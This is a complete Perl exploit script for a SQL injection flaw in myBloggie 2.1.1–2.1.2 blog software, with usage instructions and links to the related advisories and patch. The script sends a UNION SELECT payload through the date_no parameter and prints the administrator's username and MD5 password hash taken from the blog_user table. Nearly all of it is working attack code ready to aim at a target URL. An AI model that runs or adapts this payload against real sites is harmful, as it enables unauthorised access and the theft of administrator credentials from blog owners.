#!/usr/bin/perl -w # # SQL Injection Exploit for myBloggie 2.1.1 - 2.1.2 # This exploit show the username of the administrator of the blog and his password crypted in MD5 # Coded by Alberto Trivero and Discovered with CorryL # Related advisories: (Italian) http://www.codebug.org/index.php?subaction=showfull&id=1115310052&archive=&start_from=&ucat=6& # (English) http://www.packetstormsecurity.org/0505-advisories/codebug-9.txt # Patch: http://mywebland.com/forums/viewtopic.php?t=180 use LWP::Simple; print "\n\t=======================================\n"; print "\t= Exploit for myBloggie 2.1.1 - 2.1.2 =\n"; print "\t= Alberto Trivero - codebug.org =\n"; print "\t=======================================\n\n"; if(!$ARGV[0] or !($ARGV[0]=~/http/) or !$ARGV[1] or ($ARGV[1] ne '2.1.1' and $ARGV[1] ne '2.1.2')) { print "Usage:\nperl $0 [full_target_path] [version: 2.1.1 OR 2.1.2]\n\nExample:\nperl $0 http://www.example.com/mybloggie/ 2.1.1\n"; exit(0); } $url=q[index.php?month_no=1&year=1&mode=viewdate&date_no=1%20UNION%20SELECT%20null,null,null,null,user,password,null,null,null,null%20FROM%20blog_user/*]; $page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!"; print "[+] Connected to: $ARGV[0]\n"; if($ARGV[1] eq '2.1.1') { $page=~m/(.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n"; print "[-] Unable to retrieve username\n" if(!$1); } else { $page=~m/<\/a> (.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n"; print "[-] Unable to retrieve username\n" if(!$1); } $page=~m/(.*?)<\/td><\/tr>/ && print "[+] MD5 hash of password is: $1\n"; print "[-] Unable to retrieve hash\n" if(!$1);